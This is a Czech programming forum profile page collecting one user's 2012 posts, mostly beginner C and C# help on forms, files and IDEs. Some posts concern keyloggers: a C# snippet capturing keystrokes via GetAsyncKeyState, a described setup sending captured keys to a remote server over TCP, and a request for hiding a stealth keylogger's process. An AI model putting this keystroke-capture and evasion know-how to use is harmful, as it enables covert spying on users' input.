Anonymní profil Bay – Programujte.com
 x   TIP: Přetáhni ikonu na hlavní panel pro připnutí webu
Reklama

Anonymní profil Bay – Programujte.comAnonymní profil Bay – Programujte.com

 

Příspěvky odeslané z IP adresy 188.175.140.–

.NET › Zapisovanie stlačených kláves
10. 12. 2012   #168578

#20 Vaizo
Třeba to má jako takový svůj "plán výuky velkého hackera" jen ať si to napíše sám když by rád škodil ostatním. ;)

.NET › Přepis čísla double z textbo…
9. 12. 2012   #168466

#9 johnybas
víš co, napiš mi na mail, pošli mi tam celý projekt a řekni co chceš aby to přesně dělalo, já to udělám a pošlu ti to zpět. A uvidíš jak to mělo být

winitrixx@gmail.com

Tomáš

.NET › Zapisovanie stlačených kláves
9. 12. 2012   #168455

#16 Radek Chalupa
Timer je určitě ta největší blbost. ;) 

TIP: Já jsem to psal taky v dotNetu, ale já to udělal trošku jinak. Nechal jsem zachytávat klávesy a pomocí TCP spojení jsem si data nechal odesílat na server. Tím to pro mě byl snad nějlepší keylogger co jsem měl v ruce, protože byl realtime. Samozřejmě jako naschvál začal jsem logovat a změnila se mi IP adresa po pádu internetu ( dynamická ) a tím pro mě logování zkončilo tak rychle jak začlo. ;)

.NET › Přepis čísla double z textbo…
9. 12. 2012   #168453

#7 johnybas
no jak jsem říkal pokud chceš předat z jednoho formu data do druhého udělal jsem ti na to ukázkovou aplikaci

FORM1

namespace test
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            double cislo = double.Parse(textBox1.Text);
            Form2 f = new Form2(cislo);
            f.ShowDialog();
        }
    }
}

FORM2

namespace test
{
    public partial class Form2 : Form
    {
        public Form2(double cislo)
        {
            InitializeComponent();
            label1.Text = cislo.ToString();
        }
    }
}

Do formu jedna napíšu nějakou hodnotu do textboxu... po stlačení čudlíku se otevře nový form2 s tou hodnotou co byla  v textboxu a je nyní přeparsovaná do typu double

Ve formu2 se načte hodnota double převede se do stringu a zapíšu ji do labelu.

Tomáš

.NET › Zapisovanie stlačených kláves
6. 12. 2012   #168223

#5 Trebor
Nevím určitě velice podobně visual basic nedělám.

.NET › chybný vstup Int.Parse()
6. 12. 2012   #168215

#1 vojja01
Podle mě je to správně. Také používám :

int a = int.Parse(mujstring);

ale jak říká Mutagen zkus

int a = Convert.ToInt32(mujstring);
// v tvém případě
Console.WriteLine("Zadej x u bodu a");
int a = Convert.ToInt32(Console.ReadLine());

obě tyto metody by měli fungovat. Pokud ne, tak je chyba nejspíš někde u tebe. ;)

.NET › Zapisovanie stlačených kláves
6. 12. 2012   #168212

#3 Trebor
Na zachytávání kláves je metoda "GetAsyncKeyState", kterou najdeš v knihovně user32.dll.

[DllImport("User32.dll")] // knihovna pro GetAsynckeyState metodu
private static extern short GetAsyncKeyState(int vKey); // metoda

public static string ReplaceChars(string text)
        {
            text = text.Replace("Space", " ");
            text = text.Replace("Delete", "<Del>");
            // všechny možné klávesy
	}

No a zachytávání znaků...

public static string GetBuffKeys()
        {
            string buffer = "";
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if (GetAsyncKeyState(i) == -32767)
                    buffer += Enum.GetName(typeof(Keys), i);
            }
            return buffer; 
        }

No tady je samotné zachytávání kláves, které se zapisují do bufferu.

.NET › Include souborů
28. 11. 2012   #167782

#2 ingiraxo
ještě bych k tomu měl dotaz... mám Main.cs a Funkce.cs

v Main.cs mám následující

private void exit_MouseMove(object sender, MouseEventArgs e)
        {
            this.exit.BackgroundImage = global::Avocado.Properties.Resources.power_on;
        }

No a právě tohle bych potřeboval třeba dát do jiného souboru... ale když to tam dám tak na mě samozřejmě Visual Studio křičí že picutrebox this.exit neexistuje ^^ to bych právě potřeboval zjistit jak zařídit aby třída co si vytvořím poznala objekty v hlavním formu proste abych mohl z jiného souboru než z Main upravit třeba obrázek toho picutreboxu exit

.NET › Include souborů
28. 11. 2012   #167774

#2 ingiraxo
Jojo regiony myslím postačí. Díky :)

.NET › Include souborů
28. 11. 2012   #167769

Ahoj, potřeboval bych poradit. V jazyce C abych neměl moc dlouhé kódy vytvářel jsem si nové ať už .h nebo .c... a do main souboru jsem je vždy jen naincludoval 

#include "funkce.h"

a souboru funkce.h byly třeba dvě funkce...

void ahoj(void);
void cus(void);

void ahoj(void)
{
	printf("ahoj");
}
void cus(void)
{
	printf("cus");
}

A v main souboru jsem je volal jednoduše 

void ahoj();
void cus();

No a jak se to samé dělá v C#? Jasné... když chci třídu do ní si prdnu pár objektů a taky to funugje. Ale problém je v tom, že když mám moc dlouhý kód a rád bych do vedlejšího souboru dal hnusné části kódu jako třeba funkce na změnu nějakého obrázku.

např mám funkci na zvětšování opacity při startu aplikace:

private void Power(int cislo)
        {
            switch (cislo)
            {
                case 1: opac++;
                    this.Opacity = opac / 100;
                    if (opac == 100)
                    {
                        begin = 0;
                        cas.Enabled = false;
                    }
                    break;
                case 2: opac -= 5;
                    this.Opacity = opac / 100;
                    if (opac <= 5)
                    {
                        this.Close();
                    }
                    break;
            }
        }

Ale this.Opacity mi to samozřejmě neveme. Nebo to samé když chci z jiného souboru změnit picutre boxy atd.. tak mi je to neveme tzn nevím jak si ty funkce soupnout do jiného souboru aby pak v main souboru mohl jen napsat void start(1); a provedla se mi ta funkce z jiného souboru :) doufam ze me nekdo pochopil a poradi mi :) Diky

.NET › StreamReader in OOP
26. 11. 2012   #167661

#2 enro
Jojo super díky. Akorát tam chybí promenna = ""; jinak to hází chybku v tom že není nadefinovaná ta proměnná :)

.NET › Reozdělení A-Z / Z-A
12. 11. 2012   #166616

#3 ingiraxo
Jááj,,, sorry ještě v C# moc neumím abych znal všechny drobnůstky, už jsem to našel díky. Aspoň pro příště vím... vážně jsem netušil že to půjde tak snadno.

.NET › Reozdělení A-Z / Z-A
12. 11. 2012   #166580

Zdravím, mám takový "zapeklitý" problém načítám db ze souboru (data jsou rozdělena pomocí středníku z *.cvs souboru) do listviewu :

		string jmenodb = ofd.FileName;
                using (StreamReader sr = new StreamReader(jmenodb))
                {
                    string radek;
                    listView1.Items.Clear();
                    while ((radek = sr.ReadLine()) != null)
                    {
                        string[] rozdeleno = radek.Split(';');
                        string jmeno = rozdeleno[0];
                        string prijmeni = rozdeleno[1];
                        string obor = rozdeleno[2];
                        int vek = int.Parse(rozdeleno[3]);
                        DateTime narozen = DateTime.Parse(rozdeleno[4]);
                        DateTime registrovan = DateTime.Parse(rozdeleno[5]);
			// prida uzivatele
                        ListViewItem lvi = new ListViewItem(jmeno);
                        lvi.SubItems.Add(prijmeni);
                        lvi.SubItems.Add(obor);
                        lvi.SubItems.Add(vek.ToString());
                        lvi.SubItems.Add(narozen.ToString());
                        lvi.SubItems.Add(registrovan.ToString());
                        listView1.Items.Add(lvi);
                    }
                }

A potřeboval bych aby se mi nějak seřadili do listviewu od A do Z a zase naopak. Věděl by někdo jak na to? Popřípadě mě odkázat na nějaký článek, kde bych se to dozvěděl?  Díky

.NET › Uložení dat do souboru
26. 10. 2012   #165351

Zdravím napsal jsem si aplikaci, a ukládám nastavení do souboru a ten soubor se mi ukládá hned vedle aplikace ^^

(@"Soubor.dll")

A já potřebuji aby se mi tento soubor ukládal do Dokumentů ale bohužel nevím jak udělat nějak "all users friendly" aby se to ukládalo všem do dokumentů nějakou "dynamickou" cestu :) předem díky za pomoc :) 

.NET › listview zjištění hodnoty
23. 10. 2012   #165193

qq.Text = listView1.SelectedItems[0].SubItems[0].Text; 
 

Zase jsem na to přišel sám achjo já jsem nejlepší :( :D

.NET › listview zjištění hodnoty
23. 10. 2012   #165187

Čus, mam listview udělanej a do něj jsem načetl data z databáze a kdyz 2x kliknu pak v tý tabulce už na nějaký data třeba "jméno" tak potřebuju zjistit hodnotu toho data třeba když klknu do sloupce Jméno : na Karel... aby získal tu hodnotu Karel popřípadě jeho subitemy.

Zkusil jsem: 

foreach (ListViewItem lvi in listView1.Items)
    for (int index = 0; index < lvi.SubItems.Count; index++)
         neco.Text = lvi.SubItems[index].ToString();

Ale ten mi do neco.Text vypíše jen hodnotu kolik řádek obsahuje subitemů poradil by mi někdo jak na to? Předem dík.

.NET › Listview uložení itemu do gr…
21. 10. 2012   #165085

Čus přidávám si pomocí cyklu jména z databáze do listview

panda = read.GetString(1);
        prateleview.Items.Add(new ListViewItem() { Text = panda });

Chtěl bych se zeptat jak přidám ten item do určité skupny? (group) pořád se mi to hází do default i když už jsem vyzkoušel mraky věcí je mi jasné že to bude nějaká kravina :D ale já na to zaboha nemůžu přijít :( předem díky za rady :)

.NET › hide/show/close Dialog
21. 10. 2012   #165044

// řešení :D

Form1 myForm1 = new Form1();
            this.Hide();
            myForm1.ShowDialog();
            this.Close();
            myForm1.Dispose();

.NET › hide/show/close Dialog
21. 10. 2012   #165043

Už jsem na to přišel! :) děkuji za psychickou podporu :)

.NET › hide/show/close Dialog
21. 10. 2012   #165042

Jen pro ujasnění problém mi dělá jen 2.

2 když vypnu form2 aby se zavřeli oba formy

to samé u 3. to zničení formu form.Close(); mi nějak nechce fungovat :)

.NET › hide/show/close Dialog
21. 10. 2012   #165041

Zdravím, udělal jsem si aplikaci, ve které je 2 FORM, form1 a samozřejmě form2, když vyplním form1 (login) tak se spojím s databází a pokud tam takový login existuje, tak se form1 schová a spustí se form2 

                Form2 myForm2 = new Form2();
                this.Hide();
                myForm2.ShowDialog();
                myForm2.Dispose();

no ale teď nějak jsem se v tom zamotal, když vlastně potom ukončim aplikaci, tak mi form1 pořád vlastně běží v procesech a to nechci. Navíc potřebuji abych vlastně ...

1. Když se přihlásím tak se schová form1 a spustí se form2

2 když vypnu form2 aby se zavřeli oba formy

3.když kliknu na odhlásit tak potřebuju zničit form2 a z hide zviditelnit form1.

private void Form2_FormClosed(object sender, FormClosedEventArgs e)
        {
            // tady jsem zkoušel 
	    Form1 myForm1 = new Form1();
            this.Close();
            myForm1.ShowDialog();
            myForm1.Dispose();
        }
	// nefunguje form2 se nezavře

Předem díky za každou odpověď. :)

.NET › Uložení obrázku
20. 10. 2012   #164997

#6 Atheo
dejme tomu  

if(FileExist(soubor))
{
	// natvrdo ho přepsat
}
else
{
	File.Copy(openFileDialog1.FileName, @"Avatar/avatar1.jpg"); // normálně
}

Ale nevím jak ho natvrdo přepsat:D

.NET › Uložení obrázku
20. 10. 2012   #164995

#5 Chrasty
to jo :) já potřebuju ale nějak ten soubor přepsat :D 

.NET › Uložení obrázku
20. 10. 2012   #164989

#2 Chrasty
ještě bych se chtěl zeptat, když potřebuju přepsat už existující soubor, který už program využívá (má to být jakej si avatar) tak potřebuju vlastně abych vybral soubor a uložil ho do složky s avatarem no ale při startu programu se vlastně vyžádá soubor avatar.jpg a když existuje tak se picturebox změní na ten obrázek... jak by se dalo udělat abych prostě otevřel ten soubor, uložil ho do avatar složky aby se valstně přepsal ten stávající nebo jiný ale aby se taky vyvolával ten při startu aplikace?

.NET › Uložení obrázku
20. 10. 2012   #164987

#2 Chrasty
Ano! už to funguje :D děkuji pěkně :)

.NET › Uložení obrázku
20. 10. 2012   #164985

Zdravím mám kód

DialogResult result = openFileDialog1.ShowDialog();
            if (result == DialogResult.OK) 
            {
                // tady potřebuju pomoct
            }
            else
            {
                // zatím nic
            }
            

Vlastně otevřu si dialog vyberu si nějaký soubor... a potřebuju zjistit jeho cestu abych ho mohl uložit do složky programu má to být

File.Copy(string cesta ODKUD,string cesta KAM);

To je sice krásný, ale jak zjistím tu cestu ODKUD? vlastně z toho dialogu to potřebuju získat díky za každou pomoct, ale pro vás je to asi jen banalita :)

C / C++ › C bug
10. 10. 2012   #164422

#1 pr0gr4mm3r
Zkoušel jsi změnit datový typ? Třeba na int %d  proměnná

C / C++ › C, C++ nebo C#
10. 10. 2012   #164420

#13 Šťouchal
A ověřené to nemám, ale říkali to moji dva profesoři na programování/databáze/sítě to mi stačí.

C / C++ › C, C++ nebo C#
10. 10. 2012   #164418

#13 Šťouchal
Pokud vím, tak se pro Apple zařízení píše výhradně v jazyce objective C. Apple jede světem O.o je fakt že ještě android a tyhle blbosti. A co je hlavní nemluvím jen o české republice. Tu budeme vždy pozadu.

C / C++ › C, C++ nebo C#
9. 10. 2012   #164374

#7 vitamin
ne jen... ale z velké části

C / C++ › C, C++ nebo C#
9. 10. 2012   #164373

#7 vitamin
Z toho že největší vývoj co teď je a bude je většinou na mobilní zařízení a nikde jsem si to nevycucal :D tak to prostě je a ještě nějakou chvíli to tak bude

C / C++ › C, C++ nebo C#
9. 10. 2012   #164368

#1 Lubomír
Za mě doporučuju se naučit jazyk C a poté skočit do C# po C# je dnes velká poptávka pro developery stejné je to i u javy ale hlavně technologie jde do předu a brzo se budou potřebovat jen objektiv C protože technologie jde hlavně do předu díky mobilním zařízením.

C / C++ › easy program
9. 10. 2012   #164367

#1 Martin
Jojo jak říká KIV projeď si hezky cyklem pole, pokud to pole ani nemáš tak si nějaké vytvoř vlož si do něj nějaké hodnoty ať už manuálně nebo cyklem. A až poté při projíždění polem se dají zjišťovat velikosti :)

C / C++ › Snímání kláves (linux)
28. 9. 2012   #163889

#4 ondra.holub
diky :)

C / C++ › Snímání kláves (linux)
27. 9. 2012   #163840

Abych to upřesnil chtěl bych abych zmáčknul nějakou klávesu a výstup do programu by bylo vlastně číslo místo A = 65, B = 66; a tak dále 

C / C++ › Snímání kláves (linux)
27. 9. 2012   #163839

Zdravím , chtěl bych se zeptat jak vlastně můžu v linuxu snímat klávesy... zkoušel jsem getc a getchar a nějak to nejde vždy musím napsat znak a pak odentrovat a vypíše mi to vlastne ten znak v číslech viz kód 

#include <stdio.h>
#include <stdlib.h>

int main()
{
    int cislo;
    cislo=getchar();
    printf("%d",cislo);
    return 0;
}

 nebo to samé s get c... já jsem to řešil přes winuser.h a podobně a na linxu vůbec nevím..... a když v terminálu dám třeba šipku dolu , doprava atd tak mi to píše nějaké kraviny like a ^[[A atd takže se to rovna vždy číslu 27 atd... tak prosím nějakého znalce linuxu aby mi pomohl tohle vyřešit předem díky:)

C / C++ › terminal/ubuntu
23. 9. 2012   #163677

#8 crazy
hele! ty jsi ten prispevek editoval!:D a ja to skopcil pred tim:D (nebo jsem to zmatlal)

system("gnome-terminal -e \"mpg321 setfire.mp3\"&"); takhle to funguje dekuju:*

C / C++ › terminal/ubuntu
23. 9. 2012   #163675

#6 crazy
cesky na me prosim te :D linux mam fakt jen druhej den :D sem rad ze davam sudo apt-get install :D jen mi prosim te rekni co mam zkouset :D a nejak na to urcite prijdem :D dostanes palecek nahoru :))) :D a ja uz to budu konecne vedet :D

C / C++ › terminal/ubuntu
23. 9. 2012   #163673

#4 crazy
system("gnome-terminal -e \"mpg321 setfire.mp3\"&"); // takhle mi to neslo zkompilovat tak jsem to napsal 

system("gnome-terminal -e \"mpg321 setfire.mp3&\""); // a druhej terminal se zapne a hned vypne :(

C / C++ › terminal/ubuntu
23. 9. 2012   #163671

#2 crazy
jj to je super... ale teď se mi zas ten první terminál nerozjede dokud ten druhej nezkončí :D na wydlích jsem to pustil pres windows media player a byl klid :D

C / C++ › terminal/ubuntu
23. 9. 2012   #163669

Cus chtěl bych se zeptat jakým příkazem nebo jak udělat aby se mi otevřelo nový terminál?

dával jsem system("gnome-terminal"); a skvělý otevřel se mi novej terminál ... ale když jsem to napsal takto

system("gnome-terminal");

system("mpg321 song.mp3");

tak se mi song přehrával v tom prvním terminálu a ne v tom druhým což právě potřebuju nevíte někdo jak na to? jsem noob mám linux 2hý den :)) předem dík

C / C++ › matice/vektory
18. 9. 2012   #163391

#14 KIIV
to je fakt ... ja nerikam ze je spatne ze se ucitel nekdy splete.. ok stane se ale aby se spletl 3x za 2 hodiny :D to uz bylo na meme :P:D

C / C++ › matice/vektory
18. 9. 2012   #163389

#11 vitamin
já vše co řekl mám zapsané a všemu rozumim a proto mam "podklad" pro to abych mohl říkat že to nedává smysl :) kdybych to nechápal tak držím hubu a krok 

C / C++ › matice/vektory
18. 9. 2012   #163388

#10 KIIV
to bys na mojí škole musel být občas by jsi se opravdu pobavil co vymýšlej za pasqil to už občas nemam chuť ani zvednout ruku a upozornit na to

C / C++ › matice/vektory
18. 9. 2012   #163385

#8 KIIV

je rozdil mezi 4 rozmernym polem a 4 rozmernym linearnim...

C / C++ › matice/vektory
18. 9. 2012   #163383

#6 TheOndrap
http://jpeg.cz/images/2012/09/18/rvHOu.png

C / C++ › matice/vektory
18. 9. 2012   #163380

#4 ingiraxo
no u nás je to tak že učitel napíše na tabuli ukázku ze zdrojového kódu v jazyce C a že neví že NOT se napíše 

NOT IF(A > B) ale if (A !> B) tak je už asi něco špatně a druhý den a zase mluví nesmysli viz matice

C / C++ › matice/vektory
18. 9. 2012   #163378

#2 ingiraxo
nevim nerad bych ho schazoval byla to jen myslenka a nemel jsem to nejak podlozene kazdopadne... 4 rozmerne pole to neni mohlo by byt maximalne linearni coz nerekl takze to neni 4 rozmerne pole a v tech  vektorech nejsou slova je mi jasne ze to rika asi casto ale zase se mi nelibi ze nas uci neco co neni pravda :)

C / C++ › matice/vektory
18. 9. 2012   #163376

Zdravím dneska nám učitel vysvětloval matice a vektory každopádně udělal "čtyř" rozměrné pole:

1001
1111
1011
0010

což si myslím že je dvou rozměrné... a říkal že každý z  těch vektorů alias 1001,1111,1011,0010 jsou nějaké slova...

což je podle mě taky blbost protože každý znak má 8bitů = př: 10011110 = jedno písmeno takže už z principu 4bity nemůžou být jedno slovo...

Předem se omlouvám nevím do jaké kategorie to zařadit chtěl bych jen vědět jestli se mýlím nebo náš učitel na šifrování učí kraviny :) a sám nemá ponětí co dělá. Předem díky :)

C / C++ › ověření složky
13. 9. 2012   #163156

#4 Atheo
aha "a+" mi to vytvori kdyz neexistuje :D je neco takovyho i u tech slozek?:)

C / C++ › ověření složky
13. 9. 2012   #163154

#3 hlucheucho
ale kdyz pouziju fopen na zjisteni jestli tam ten soubor je tudiz

FILE *soubor;
soubor = fopen("barak.txt","a+");
if(soubor == NULL)
{
	//vytvori
}
else
{
	//nevytvori
}

tak mi to ten soubor vytvori tak jako tak stejne jako u mkdir

if(mkdir("slozka") == NULL))
{
	//vytvori
}
else
{
	//nevytvori
}
C / C++ › ověření složky
13. 9. 2012   #163151

Zdravím chtěl bych se zeptat jak ověřím zda nějaké složka/soubor existuje pokud ano tak to nakopíruje třeba soubor do té složky a pokud ne tak to tu složku vytvoří představoval bych si to nějak takto 

if(slozka == NULL)
{
	// vytvoří složku
}
else
{       // nic

}
C / C++ › Cesta uloženého souboru
12. 9. 2012   #163085

#2 crazy
fopen("C:\\blabla\\file", "a") funguje suprove... akorad kdyz to chci do program files tak tam se to proste neulozi :( a to prave potrebuju

C / C++ › Cesta uloženého souboru
12. 9. 2012   #163080

Zdravím pro vás asi banalita ... chtěl bych se zeptat jak mam ukládat soubor na disk .. treba do C://Program Files//neco.txt

Už jsem to zkoušel snad 10ti způsoby a stále mi to nejde jde jen klasicky uložit soubor tam kde je program třeba

FILE *vystup;
vystup = fopen("neco.txt","a+");
// tudiž se to uloží do složky kde je ten program

ale já to potřebuju uložit třeba do C:/program files/data/neco.txt a nejlepe tak abych nemusel znát název disku když nekdo místo C bude mít třeba D předem dik :)

C / C++ › upload
12. 9. 2012   #163072

#9 Hugo
na tento přenos je potřeba povolení od firewallu (ten můj script ve windows shellu) zkusím děkuju ;)

C / C++ › upload
11. 9. 2012   #163027

#3 ingiraxo
ja nechci delat vlastni FTP ja chci nahrat soubor na FTP

C / C++ › upload
11. 9. 2012   #163026

#2 ondra.holub
vsak jsem psal ze pres cmd to nejde :) asi to na free hostingach zakazali :) takze cmd asi nepripada v uvahu a proto chci alternativu :)

C / C++ › upload
11. 9. 2012   #163022

Zdravim ... potřeboval bych odeslat soubor na FTP nebo jakymkoli zpusobem soubor dostat na internet pomoci skriptu nebo nejlepe jazyka C... drive jsem to resil pomoci CMD tudiz bash scriptu pripojeni na FTP a put soubor.*** a soubor se mi v pohode nahral na ftp.. teda exe neslo to se pri posilani znicilo a ted po pul roce to zase potrebuji a opet se poskodi soubor a ted uz i .txt,.dll,.dat a tak podobne potreboval bych nejakou rychlou a jednoduchou alternativu... budu rad za kazdou radu dekuju predem :)

C / C++ › vývojové prostředí
27. 8. 2012   #162261

#6 Doomista
sudo nainstaluj si Linux... okay tak šup šup:D

C / C++ › vývojové prostředí
26. 8. 2012   #162210

#3 Doomista
nebo staci jen 

sudo apt-get install joe

joe&

ctrl + xx (tusim)

gcc soubor.c -o soubor ^^ a je to lepsi jak nejakej DevCpp ale doporucuju Code::Blocks = multiplatformní a super IDE

C / C++ › Keylogger "finta"
24. 8. 2012   #162109

#1 Atheo
ještě bych dodal že si to představuju v nějaké nekonečné smyčce alias

while(1)
{
	nazev = asdada;
	nazev1 = asdasdqwq;
}
// akorát místo název to co nevím... :) ale bude to něco jako SetConsoleTitle akorát né title ale něco jako SetConsoleName  tipuju :)
C / C++ › Součet hodnot.
24. 8. 2012   #162107

#24 Luckaa
tak tu pořád nemel a koukni se na ten mail :D teď jsem ti to napsal!:D

C / C++ › Součet hodnot.
24. 8. 2012   #162105

#21 TheOndrap
už jsem to snad srozumitelně vysvětlil teď na mail tak snad už v pořádku :)

C / C++ › Součet hodnot.
24. 8. 2012   #162104

#21 TheOndrap
přesně tak nevím co je na tom složitého , nebo-li k nepochopení :)

C / C++ › Součet hodnot.
24. 8. 2012   #162100

#16 Luckaa
ne! Databáze se dělaj v SQL tohle je jen takový náhraška databáze pujde to co by ne... klasicky  

algoritmus :

vstup : 1,1,1,1,1

1= chleba 20kc;

a to se rovna chleba+chleba+chleba+chleba+chleba =  chleba_vysledek;

tisk : chleba_vysledek

C / C++ › Keylogger "finta"
24. 8. 2012   #162098

Zdravíčko mám takový problém napsal jsem si v C keylogger se stealthem (pro ty co nevěděj stealth = "zneviditelnění okna") no každopádně je to na prd protože jde vypnout přes procesy potřeboval bych aby se mi v procesech stále měnil nick už jsem to chtěl udělat u spybota ale nějak se mi to nepovedlo poradí mi nějakdo jak na ty změny men v procesech? Používam platformu pro windows / jazyk C. (Není to pro zlé učely na to mi stačí klasický keylogger) jen to není to co si přeji protože tohle není fixnutý a to mi vadí) diky za rady předem

C / C++ › Součet hodnot.
24. 8. 2012   #162096

#12 Luckaa
jednak "děláš zásobník " a takhle se rozhodně nedělá :)

C / C++ › Součet hodnot.
24. 8. 2012   #162094

#12 Luckaa
btw dělat funkce na každý prvek zvlášť je pěkná kravina napiš mi na email winitrixx@gmail.com mrknem se na to já ti pomůžu se zdrojákem takové "how to make"

C / C++ › Součet hodnot.
24. 8. 2012   #162093

Udělej to přes pole ... vlastně zásobník pokud víš co to je ... pochybuji o tom takže stručně

Udělej si pole na počet hodnot třeba 1-50 kde bude 50 kódů a k těm kódům přiřadíš libovolej prvek třeba ten rohlik = 1; a když uživatel zadá 1 tak bude chtít rohlik fajn a když budes chtít vypsat všechny co uživatel vybral tak jednoduše vykreslíš pole které bylo vybráno třeba přiklad :

pokud si zadal kód tak se do toho pole přidá nějaka proměnná a při vykreslování.. pokud tam ta proměnná bude tak se vykreslí.. pokud ne nevykreslí se nic a tim zjistíš co vše uživatel zadal 

TIP : tohle je databáze a ta se v C/C++ nedělá na to je SQL

Tomáš

C / C++ › Jaký kompilátor na jazyk C
24. 8. 2012   #162085

#32 vitamin
v C určitě v C++ nevím neumím ale tady se bavíme o C tak obhajuji zkutečnost :D a fakt 

C / C++ › Jaký kompilátor na jazyk C
24. 8. 2012   #162083

#30 zlz
pokud myslíš mě tak to si vyprošuji :)

C / C++ › Jaký kompilátor na jazyk C
24. 8. 2012   #162081

#1 micha407474

ještě bych dodal nepoužívej globální proměnné :D to by tě v práci mohlo stát i místo ;)

C / C++ › Jaký kompilátor na jazyk C
24. 8. 2012   #162080

#27 Atheo
a hlavně 

int main(void)
{
}

// je "gramaticky" správně!
int main()
{
}
// je "gramaticky" špatně né uplně špatně ale 100% správnost to není! na to pozor
// pokud budou potřeba parametry tak se void da pryč a už se pojede

void funkce(int,int);
int main(int i, int j) // proměnné cyklů
{
	funkce(1,1);
	return 0;
}
void funkce(int x,int y)
{
// funkce pro souradnice
}

a už stačí nebudu se tu hádat o základních věcech jako je funkce main a jeho parametry to už není k tématu.

Tomáš

C / C++ › Jaký kompilátor na jazyk C
24. 8. 2012   #162079

#26 ingiraxo
void neni "jako by tam nebyl" void je "zatim bez parametru" vstupni parametry NEJSOU potřeba při programu který má jen vystup hello world ^^

C / C++ › Jaký kompilátor na jazyk C
24. 8. 2012   #162077

#24 hlucheucho
ještě bych dodal v Code::Blocks IDE není třeba žádný zbytečný system("pause"); a podobně jednak to zatěžuje buffer viz getch(); v IDE Code::Blocks se ti program automaticky před ukončením pausne sám jako v linuxu

C / C++ › Jaký kompilátor na jazyk C
24. 8. 2012   #162074

#22 ingiraxo
to mozná jen v tom vasem uzasnym visual studiu parametry nejsou dulezity staci tam svihnout void pokud nevis co to znamena use google tyhle parametry jsou pri takovych programech scela zbytecne

C / C++ › Jaký kompilátor na jazyk C
24. 8. 2012   #162067

#16 micha407474
nečetl jsem co psali ostatní možná už tu odpoveď je každopádně ten program funguje alias "problikne" a teď si řekneme proč.

int main(int argc, char **argv)
{
  printf("hello world!\n");
  return 0;
}

jednak (int argc, char **argv) zbytečné, dále na tohle stačí mít v hlavičkovém souboru stdio.h alias

#include <stdio.h>

Dále

printf("hello world!\n");
return 0;

Výstup z programuje je "hello world!" a odřádkuje kód return 0; ukončí program! to proběhne asi během půl sekundy což znamená že se program ukončí protože tak je to v kódu napsané (return 0;) ale když to uděláš následovně tak vše pujde jak  má.

#include <stdio.h>

int main()
{
	printf("Hello world");
	system("pause");
	return 0;
}
// NEBO
int main()
{
	printf("Hello world");
	getch(); // na windows platformu 
	return 0;
}
// NEBO
int main()
{
	printf("Hello world");
	getchar();
	return 0;
}
// NEBO
int main()
{
	printf("Hello world");
	getche();
	return 0;
}
// nebo 
#include <stdio.h>
#include <windows.h>

int main()
{
	printf("Hello world!");
	Sleep(1000);
	return 0;
}
// Sleep (S velkým s) zastaví chod programu na 1000ms = 1sekunda takže to můžes vidět a neproblikne to jen... na funkci Sleep musíš mít includovaný hlavičkový soubor windows.h

Nicméně koukám že začínáš a začátky jsou těžké zkus se podívat na http://www.devbook.cz/c-cecko-programy-hry-zdrojaky-priklady píšu tam tutoriály a tak podobně tak určitě dobrý začátek a  pokud budeš mít nějaký problém tak winitrixx@gmail.com a můžem si říct proč/co a jak :)

C / C++ › Jaký kompilátor na jazyk C
24. 8. 2012   #162041

#8 Atheo
+ jak říká ingiraxo VISUAL je pro C++ ale C++ bere snad vše i z jazyka C takže by v tom neměl být problém ale pořiď si radši ted Code::Blocks je pro C tak i C++

C / C++ › Jaký kompilátor na jazyk C
24. 8. 2012   #162040

#1 micha407474


Za prvé není to KOMPILÁTOR  ale IDE! Kompilátor je uplně něco jiného nevím proč tomu tak každý říká ... není tomu tak je to chybně! Každopádně doporučuji IDE Code::Blocks je kompatibilní s windows tak linux a tak samozdřejmě i mac a je užitečný na větší projekty + skvělá práce s IDE nebo také VISUAL STUDIO ale hlavně NEpoužívat DEV-CPP to je největší shit mezi IDE!

Pokud mě teď budeš chtít setřít a že jsi opravdu chtěl čistě kopilátor a ne IDE tak doporučuji GNU GCC samozřejmě. :)

Tomáš

C / C++ › ASCII znaky
19. 8. 2012   #161715

#3 ...
tak promiň F2 byl jen příklad já potřeboval hlavně QWERTZUIOP atd :)

C / C++ › ASCII znaky
19. 8. 2012   #161706

#1 Atheo

Jsem to ale chytrý klučina.
http://www.algoritmy.net/article/89/ASCII-tabulka

kdyby měl někdo taky takový problém. :D

C / C++ › ASCII znaky
19. 8. 2012   #161705

Zdravíčko chtěl bych se zeptat kde najdu nebo pod čím mám vůbec hledat čísla ASCII znaku? jako třeba co za číslo má mezerník? nebo F2? příklad : šipka nahorů má číslo "328" šipka dolů má číslo "336" doufám že mě chápete ... potřebuji to do mygetch pro switch ^^ a nevím ani pod čím to mám hledat na googlu... xD čísla ASCII znaku je zřejmě blbost. Předem díky za odpověď.

Atheo

C / C++ › "Detekcia textury"
12. 8. 2012   #161477

#10 vitamin
ale urco to jde se podivej treba na fish bota na wowko ;) ono to nejak pujde jen zjistit jak :) ale stim uz neporadim protoze neivm jak na to:)

C / C++ › "Detekcia textury"
12. 8. 2012   #161469

#7 Root
j a to je okno ^^ no udelej si autoclicker ale to aby ti to klikalo presne na ten objekt nevim.. jedine proklikavat nejakou osu XY kde se kocka objevuje a prokliknout tu osu treba 400x za sekundu nebo si vem udaje z toho objektu "kocky" po jakych osach pohybuje a podle toho pouzij ten click bota ;) nevim uz jak lip ti poradit psat autoclicker ti tu nebudu :)

C / C++ › "Detekcia textury"
12. 8. 2012   #161467

#5 Root
a to delas proste v okne? nejakej program nebo chces aby ti ta mys klikala i po desktopu mimo okno?

C / C++ › "Detekcia textury"
12. 8. 2012   #161464

#3 Root
no autoclickeru se musi nastavit nejaka XY osa kterou zadas a ono ti to bude klikat na ten bod ale to ze se ti obevi kocka a ono to klikne presne nani :D tak to nevim :D jedine ze bys predem vedel tu drahu kocky:)

C / C++ › "Detekcia textury"
12. 8. 2012   #161462

#1 Root
poradil bych ti ale vubec jsem to nepochopil jako aby kdyz na desktopu bude nejaka "kocka" tak to na ni automaticky najede myskou? neco jako autoclicker?

C / C++ › Začátečník
12. 8. 2012   #161444

#7 yaqwsx
ucit se na hrach? Nevim ja jsem tak zacinal a nenaucil jsem se vubec nic xD vetsina lidi se zene do programovanim za ucelem "chci si udelat hru" ale kdyz nepochopi strukturu a algoritmus a ani nevi jak zacit tak hru tezko udela

C / C++ › Začátečník
12. 8. 2012   #161431

#4 Yohaku
